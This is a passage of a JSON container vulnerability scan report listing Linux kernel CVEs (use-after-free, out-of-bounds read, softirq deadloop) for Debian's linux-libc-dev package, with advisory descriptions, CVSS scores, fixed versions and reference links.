"linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45957", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:532164d05e074ff50407dae20615e7f6fdd0dbb8b0229d83468d4f440b9b8bdb", "Title": "kernel: rcu: Fix rcu_read_unlock() deadloop due to softirq", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu: Fix rcu_read_unlock() deadloop due to softirq\n\nCommit 5f5fa7ea89dc (\"rcu: Don't use negative nesting depth in\n__rcu_read_unlock()\") removes the recursion-protection code from\n__rcu_read_unlock(). Therefore, we could invoke the deadloop in\nraise_softirq_irqoff() with ftrace enabled as follows:\n\nWARNING: CPU: 0 PID: 0 at kernel/trace/trace.c:3021 __ftrace_trace_stack.constprop.0+0x172/0x180\nModules linked in: my_irq_work(O)\nCPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G O 6.18.0-rc7-dirty #23 PREEMPT(full)\nTainted: [O]=OOT_MODULE\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nRIP: 0010:__ftrace_trace_stack.constprop.0+0x172/0x180\nRSP: 0018:ffffc900000034a8 EFLAGS: 00010002\nRAX: 0000000000000000 RBX: 0000000000000004 RCX: 0000000000000000\nRDX: 0000000000000003 RSI: ffffffff826d7b87 RDI: ffffffff826e9329\nRBP: 0000000000090009 R08: 0000000000000005 R09: ffffffff82afbc4c\nR10: 0000000000000008 R11: 0000000000011d7a R12: 0000000000000000\nR13: ffff888003874100 R14: 0000000000000003 R15: ffff8880038c1054\nFS: 0000000000000000(0000) GS:ffff8880fa8ea000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000055b31fa7f540 CR3: 00000000078f4005 CR4: 0000000000770ef0\nPKRU: 55555554\nCall Trace:\n \u003cIRQ\u003e\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n unwind_next_frame+0x203/0x9b0\n __unwind_start+0x15d/0x1c0\n arch_stack_walk+0x62/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n unwind_next_frame+0x203/0x9b0\n __unwind_start+0x15d/0x1c0\n arch_stack_walk+0x62/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n unwind_next_frame+0x203/0x9b0\n __unwind_start+0x15d/0x1c0\n arch_stack_walk+0x62/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n raise_softirq_irqoff+0x6e/0xa0\n rcu_read_unlock_special+0xb1/0x160\n __is_insn_slot_addr+0x54/0x70\n kernel_text_address+0x48/0xc0\n __kernel_text_address+0xd/0x40\n unwind_get_return_address+0x1e/0x40\n arch_stack_walk+0x9c/0xf0\n stack_trace_save+0x48/0x70\n __ftrace_trace_stack.constprop.0+0x144/0x180\n trace_buffer_unlock_commit_regs+0x6d/0x220\n trace_event_buffer_commit+0x5c/0x260\n trace_event_raw_event_softirq+0x47/0x80\n __raise_softirq_irqoff+0x61/0x80\n __flush_smp_call_function_queue+0x115/0x420\n __sysvec_call_function_single+0x17/0xb0\n sysvec_call_function_single+0x8c/0xc0\n \u003c/IRQ\u003e\n\nCommit b41642c87716 (\"rcu: Fix rcu_read_unlock() deadloop due to IRQ work\")\nfixed the infinite loop in rcu_read_unlock_special() for IRQ work by\nsetting a flag before calling irq_work_queue_on(). We fix this issue by\nsetting the same flag before calling raise_softirq_irqoff() and rename the\nflag to defer_qs_pending for more common.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45957", "https://git.kernel.org/linus/d41e37f26b3157b3f1d10223863519a943aa239b%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1f16679a5aa60238466ce339c35f5e82ece60337", "https://git.kernel.org/stable/c/4a4a6e12c9c829be3f74b7206fa8640fc4e1c566", "https://git.kernel.org/stable/c/979c708e6c9d7fc461daef2dad8b45f22e23464c", "https://git.kernel.org/stable/c/c2932e16d8c354404b17123e64daa8e33191e145", "https://git.kernel.org/stable/c/d36d8a7cf0e1d52ccde290855782b7b2ffc78f63", "https://git.kernel.org/stable/c/d41e37f26b3157b3f1d10223863519a943aa239b", "https://linux.oracle.com/cve/CVE-2026-45957.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052733-CVE-2026-45957-eb03@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45957", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45957" ], "PublishedDate": "2026-05-27T14:17:12.28Z", "LastModifiedDate": "2026-10-30T13:18:54.553Z" }, { "VulnerabilityID": "CVE-2026-45972", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45972", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e27a9bd489217a4a0af1433d7c6217e6de250c34911234db463f125f4bdb4f7", "Title": "kernel: smb: client: fix potential UAF and double free in smb2_open_file()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix potential UAF and double free in smb2_open_file()\n\nZero out @err_iov and @err_buftype before retrying SMB2_open() to\nprevent an UAF bug if @data != NULL, otherwise a double free.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45972", "https://bugzilla.redhat.com/show_bug.cgi?id=2481973", "https://git.kernel.org/linus/ebbbc4bfad4cb355d17c671223d0814ee3ef4eda%20%287.0-rc1%29", "https://git.kernel.org/stable/c/4d339b219004869e96c4ce56b8891f83a38da4c0", "https://git.kernel.org/stable/c/639deb962986ef2f5e2a6d5a600c66f922471e81", "https://git.kernel.org/stable/c/7425453ea16dbc3bbb0f6cac4d60b537e5e4d151", "https://git.kernel.org/stable/c/96e53bb3ee2f354cf6b4ab07bcc56e500f8b3f74", "https://git.kernel.org/stable/c/e66dcf7bb9c4df5582c82bc3582725abcbfbea73", "https://git.kernel.org/stable/c/ebbbc4bfad4cb355d17c671223d0814ee3ef4eda", "https://linux.oracle.com/cve/CVE-2026-45972.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052736-CVE-2026-45972-6b55@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45972", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45972.json", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-45972" ], "PublishedDate": "2026-05-27T14:17:14.173Z", "LastModifiedDate": "2026-10-19T20:18:22.8Z" }, { "VulnerabilityID": "CVE-2026-45984", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45984", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d56b20aa0e093a674e9cd9eb4549759f0c82ce9370d51b7aadb8e5a6c29afc51", "Title": "kernel: gfs2: Fix use-after-free in iomap inline data write path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: Fix use-after-free in iomap inline data write path\n\nThe inline data buffer head (dibh) is being released prematurely in\ngfs2_iomap_begin() via release_metapath() while iomap-\u003einline_data\nstill points to dibh-\u003eb_data. This causes a use-after-free when\niomap_write_end_inline() later attempts to write to the inline data\narea.\n\nThe bug sequence:\n1. gfs2_iomap_begin() calls gfs2_meta_inode_buffer() to read inode\n metadata into dibh\n2. Sets iomap-\u003einline_data = dibh-\u003eb_data + sizeof(struct gfs2_dinode)\n3. Calls release_metapath() which calls brelse(dibh), dropping refcount\n to 0\n4. kswapd reclaims the page (~39ms later in the syzbot report)\n5. iomap_write_end_inline() tries to memcpy() to iomap-\u003einline_data\n6. KASAN detects use-after-free write to freed memory\n\nFix by storing dibh in iomap-\u003eprivate and incrementing its refcount\nwith get_bh() in gfs2_iomap_begin(). The buffer is then properly\nreleased in gfs2_iomap_end() after the inline write completes,\nensuring the page stays alive for the entire iomap operation.\n\nNote: A C reproducer is not available for this issue. The fix is based\non analysis of the KASAN report and code review showing the buffer head\nis freed before use.\n\n[agruenba: Take buffer head reference in gfs2_iomap_begin() to avoid\nleaks in gfs2_iomap_get() and gfs2_iomap_alloc().]", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-826" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:33743", "https://access.redhat.com/errata/RHSA-2026:35894", "https://access.redhat.com/errata/RHSA-2026:36049", "https://access.redhat.com/errata/RHSA-2026:36767", "https://access.redhat.com/errata/RHSA-2026:38902", "https://access.redhat.com/errata/RHSA-2026:51603", "https://access.redhat.com/errata/RHSA-2026:51604", "https://access.redhat.com/errata/RHSA-2026:55444", "https://access.redhat.com/errata/RHSA-2026:59142", "https://access.redhat.com/errata/RHSA-2026:59143", "https://access.redhat.com/errata/RHSA-2026:59145", "https://access.redhat.com/errata/RHSA-2026:59146", "https://access.redhat.com/errata/RHSA-2026:59147", "https://access.redhat.com/errata/RHSA-2026:59148", "https://access.redhat.com/errata/RHSA-2026:59149", "https://access.redhat.com/errata/RHSA-2026:61692", "https://access.redhat.com/errata/RHSA-2026:63189", "https://access.redhat.com/security/cve/CVE-2026-45984", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/faddeb848305e79db89ee0479bb0e33380656321%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1403989d1b502f4a2c0d0b42ccf1c25748442eff", "https://git.kernel.org/stable/c/1cae1bafdf9caa9b462b19af06b1a06902e4e142", "https://git.kernel.org/stable/c/6d76febba07c40bcf358f63216d36ea68cf1c215", "https://git.kernel.org/stable/c/764c3c84b5683e608f43735c803a5f415046686c", "https://git.kernel.org/stable/c/815ddd27c0c7171a99fe802fdb19098ddef8b19d", "https://git.kernel.org/stable/c/87d4954b5c59735a99ea98cb208d47130f6dce7d", "https://git.kernel.org/stable/c/d87268326b277af3665237ac76a73dd9fa8e21b4", "https://git.kernel.org/stable/c/faddeb848305e79db89ee0479bb0e33380656321", "https://linux.oracle.com/cve/CVE-2026-45984.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052739-CVE-2026-45984-107d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45984", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45984.json", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45984" ], "PublishedDate": "2026-05-27T14:17:15.64Z", "LastModifiedDate": "2026-10-19T20:18:23.04Z" }, { "VulnerabilityID": "CVE-2026-45989", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45989", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e041b8babc3acff36ebadb403468067960b43d56d205b75c1fa7226979a24228", "Title": "kernel: of: unittest: fix use-after-free in testdrv_probe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nof: unittest: fix use-after-free in testdrv_probe()\n\nThe function testdrv_probe() retrieves the device_node from the PCI\ndevice, applies an overlay, and then immediately calls of_node_put(dn).\nThis releases the reference held by the PCI core, potentially freeing\nthe node if the reference count drops to zero. Later, the same freed\npointer 'dn' is passed to of_platform_default_populate(), leading to a\nuse-after-free.\n\nThe reference to pdev-\u003edev.of_node is owned by the device model and\nshould not be released by the driver. Remove the erroneous of_node_put()\nto prevent premature freeing.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45989", "https://git.kernel.org/linus/07fd339b2c253205794bea5d9b4b7548a4546c56%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07fd339b2c253205794bea5d9b4b7548a4546c56", "https://git.kernel.org/stable/c/0ba03e06f037df704d9b032e36d417633e2326bc", "https://git.kernel.org/stable/c/5b6122a67a295f8a08b7c18d908a1bd974dfaec8", "https://git.kernel.org/stable/c/6b2023286d2c6ed3bf964fb92e34c9c14d42eb69", "https://git.kernel.org/stable/c/d68347b07b9801791c9eaab8f772770b52b8cd5c", "https://lore.kernel.org/linux-cve-announce/2026052739-CVE-2026-45989-b32d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45989", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-45989" ], "PublishedDate": "2026-05-27T14:17:16.413Z", "LastModifiedDate": "2026-06-17T10:52:51.5Z" }, { "VulnerabilityID": "CVE-2026-45994", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45994", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cdcad734803f53411ac9f5c33103d7ea2e01fef39c74020137977b6c7543d827", "Title": "kernel: ibmasm: fix OOB reads in command_file_write due to missing size checks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nibmasm: fix OOB reads in command_file_write due to missing size checks\n\nThe command_file_write() handler allocates a kernel buffer of exactly\ncount bytes and copies user data into it, but does not validate the\nbuffer against the dot command protocol before passing it to\nget_dot_command_size() and get_dot_command_timeout().\n\nSince both the allocation size (count) and the header fields (command_size,\ndata_size) are independently user-controlled, an attacker can cause\nget_dot_command_size() to return a value exceeding the allocation,\ntriggering OOB reads in get_dot_command_timeout() and an out-of-bounds\nmemcpy_toio() that leaks kernel heap memory to the service processor.\n\nFix with two guards: reject writes smaller than sizeof(struct\ndot_command_header) before allocation, then after copying user data\nreject commands where the buffer is smaller than the total size declared\nby the header (sizeof(header) + command_size + data_size). This ensures\nall subsequent header and payload field accesses stay within the buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45994", "https://git.kernel.org/linus/0eb09f737428e482a32a2e31e5e223f2b35a71d3%20%287.1-rc1%29", "https://git.kernel.org/stable/c/0eb09f737428e482a32a2e31e5e223f2b35a71d3", "https://git.kernel.org/stable/c/44ee19422aa82a6847594866de7e5a31e4ef98b3", "https://git.kernel.org/stable/c/7b8a574da5d7ea99b943f7a3458a17a1d95e8838", "https://git.kernel.org/stable/c/a672682d39dd34e2b5ba4feb436723bed65125ff", "https://git.kernel.org/stable/c/aefc1a97da17d8309974690c8a03e439a91ebb1c", "https://git.kernel.org/stable/c/d0fb4d1dc43f8d5179917a2daaa82680993d4cdf", "https://git.kernel.org/stable/c/d50e2019c9d7c433f56d9dff65703eb904aa1fb1", "https://git.kernel.org/stable/c/ee5737891464030a189837467df3b81a273718ad", "https://kernelcve.org/list/?q=CVE-2026-45994", "https://lore.kernel.org/linux-cve-announce/2026052740-CVE-2026-45994-3605@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-45994", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-45994" ], "PublishedDate": "2026-05-27T14:17:16.97Z", "LastModifiedDate": "2026-06-17T10:52:51.927Z" }, { "VulnerabilityID": "CVE-2026-45996", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45996", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:df42650c23fede9208c609c60a2a3f06970c06eda1de3b62002d13da5b20cf1a", "Title": "kernel: spi: imx: fix use-after-free on unbind", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: imx: fix use-after-free on unbind\n\nThe SPI subsystem frees the controller and any subsystem allocated\ndriver data as part of deregistration (unless the allocation is device\nmanaged).\n\nTake another reference before deregistering the controller so that the\ndriver data is not freed until the driver is done with it.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-45996", "https://git.kernel.org/linus/1c78c2002380a1fe31bfb01a3d5f29809e55a096%20%287.1-rc1%29", "https://git.kernel.org/stable/c/132e47030b0b5e398e0da6c59df5a5dae9b52cff", "https://git.kernel.org/stable/c/1c78c2002380a1fe31bfb01a3d5f29809e55a096", "https://git.kernel.org/stable/c/385a330083f8dd47c15b02e9a83aef9234a37003", "https://git.kernel.org/stable/c/aa9025a498036b6012769f7af36d421385386c17", "https://git.kernel.org/stable/c/c7c40c3e7b9fb900504aa746de3e53c5275b24bd", 